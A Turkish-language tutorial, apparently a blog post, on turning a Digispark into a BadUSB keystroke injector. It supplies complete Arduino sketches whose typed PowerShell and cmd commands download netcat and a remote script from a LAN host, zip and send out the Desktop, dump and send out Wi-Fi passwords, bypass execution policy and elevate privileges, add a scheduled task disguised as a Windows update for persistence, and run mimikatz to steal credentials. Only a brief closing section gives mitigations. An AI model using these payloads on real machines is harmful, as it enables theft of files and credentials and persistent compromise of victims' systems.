BadUSB with a Digispark[TR]
Bu yazıda, bir siber güvenlik araştırmacısı olarak USB aygıtının klavye olarak algılanmasını sağlayan BadUSB’ye dair kullanılan tekniklerden bahsedecek ve olası senaryolarla nasıl uygulandığını göstereceğim. Yazının sonunda alınabilecek önlemlere de değineceğim.
Eğer linux ortamında testleri gerçekleştiriyorsanız kurulum aşamasında bu linkten faydalanabilirsiniz.
Arduino IDE ile yazdığımız komutları BadUSB ye yüklemeden önce klavyeyi türkçe olarak ayarladığınızdan emin olun. Buradaki klasörü plugins dizinine atmanız gerekiyor.
Resimde tuş girdilerini nasıl kullanacağımızı görebilirsiniz.
Özel tuş girdilerini ise aşağıdaki resimdeki gibi giriyoruz.
Uygulama
Basit bir uygulama ile başlayalım. İlk uygulama sadece notepad.exe yi açarak içine bir mesaj yazsın.
#define kbd_tr_tr // klavye türkçeleştirme
#include "DigiKeyboard.h" // klavye olduğunu algıla
void setup() {
// put your setup code here, to run once:
}
void loop() {
DigiKeyboard.sendKeyStroke(0); // basılacağı tuş
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // windows + r
DigiKeyboard.delay(3000);
DigiKeyboard.print("notepad.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.print("Hello World!");
for (;;){
/*lesgo*/
}
}
Sondaki döngü ile kodları tekrar başa sarmasını engellemiş oluyoruz. Her komutun sırasıyla çalıştığından emin olmak için aralara delay
ile bekletme fonksiyonu koyuyoruz. Bekletilecek süre bilgisayar hızına göre değişebilir.
Diğer örnek ile arşivleme işleminin nasıl yapılacağını görelim.
#define kbd_tr_tr
#include "DigiKeyboard.h"
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(6000);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(4000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(4000);
DigiKeyboard.print("systeminfo > info.txt");
DigiKeyboard.delay(4000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(7000);
DigiKeyboard.print("Compress-Archive -Path ./info.txt -DestinationPath ./info.zip");
DigiKeyboard.delay(6000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(10000);
for (;;){
/*lesgo*/
}
}
Görüldüğü üzere klavye komutları ile işlemler yapıldığı için genel olarak powershell ile cmd betikleri kullanılıyor. Burada yapabilecekleriniz yalnızca terminal hakimiyetinizle ve hayal gücünüzle sınırlı.
Peki bir hacker hangi senaryoları kullanıyor? Şimdi bu senaryolara bir göz atalım.
Teknik 1
Bilgisayardaki dosyaları çekmek için örnekteki gibi netcat dosyası alınıyor ve dosyalar netcat ile gönderiliyor olabilir.
#define kbd_tr_tr
#include "DigiKeyboard.h"
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("$WebClient = New-Object System.Net.WebClient");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$WebClient.DownloadFile('http://192.168.1.156/nc64.exe','nc64.exe')");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2500);
DigiKeyboard.print("Compress-Archive -Path ./Desktop/* -DestinationPath ./fullDesktop.zip");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3500);
DigiKeyboard.print("exit");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd.exe");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("nc64.exe 192.168.1.156 8585 < fullDesktop.zip");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;){}
}
Teknik 2
Wifi şifreleri alınarak netcat
ile gönderiliyor olabilir.
#define kbd_tr_tr
#include "DigiKeyboard.h"
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("netsh wlan show profile name=\"*\" key=clear > wifipass.txt");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("Start-BitsTransfer http://192.168.1.156/nc64.exe nc64.exe");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1500);
DigiKeyboard.print("exit");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("nc64.exe -w 3 192.168.1.156 8080 < wifipass.txt");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(4000);
DigiKeyboard.print("exit");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
for (;;){}
}
Teknik 3
Kalıcılık sağlamak adına içeri çalıştırılabilir bir dosya alınıyor ve schtasks
komutu ile zamanlanmış görev ayarlanıyor olabilir.
#define kbd_tr_tr
#include "DigiKeyboard.h"
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2500);
DigiKeyboard.print("$WebClient = New-Object System.Net.WebClient");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$WebClient.DownloadFile('http://192.168.1.156/indir.ps1','indir.ps1')");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1500);
DigiKeyboard.print("powershell -Execution ByPass -File indir.ps1");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Start-Process cmd.exe -ArgumentList \"/K cd $HOME\" -Verb RunAs"); // Yetki Yükseltmek için
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2500);
DigiKeyboard.print("set \"exePath=%CD%/config.exe\"");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("SCHTASKS /Create /SC DAILY /TN \"windows update1339\" /TR \"%exePath%\" /ST 14:16");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
for (;;){
/*lesgo*/
}
}
Teknik 4
Son olarak rdp
servisi açlıyor ve mimikatz
kullanılılarak alınan şifreler yine netcat kullanılarak gönderiliyor olabilir.
#define kbd_tr_tr
#include "DigiKeyboard.h"
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1500);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2500);
DigiKeyboard.print("$WebClient = New-Object System.Net.WebClient");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$WebClient.DownloadFile('http://192.168.1.156/indir.ps1','indir.ps1')");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1500);
DigiKeyboard.print("powershell -Execution ByPass -File indir.ps1");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("./Elevate.exe -k"); // Yetki Yükseltmek için
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2500);
DigiKeyboard.print("uzakbaglanti.bat"); // rdp server
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.print("Yes");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.print("mimikatz.bat"); // şifreleri çekip sunucuya yolluyor
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
for (;;){
/*lesgo*/
}
}
Önlemler
Genel olarak BadUSB komutları, genellikle Powershell
ve CMD
betikleri aracılığıyla yürütüldüğünden, bu betiklerin kolayca açılmasını engelleyerek önlem alabiliriz. Bunun için aşağıdaki kodu powershell
üzerinde çalıştırın. Bu komut ile powershell ve cmd betikleri açılmaya çalışıldığında şifre istenecek. Eski hale getirmek isterseniz değerini 5
olarak ayarlayın.
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 1
Tabii ki bunun nihai önlem olmadığını belirtmekte fayda var. Buna ek olarak USB port blocker
yazılımıda kullanılabilir.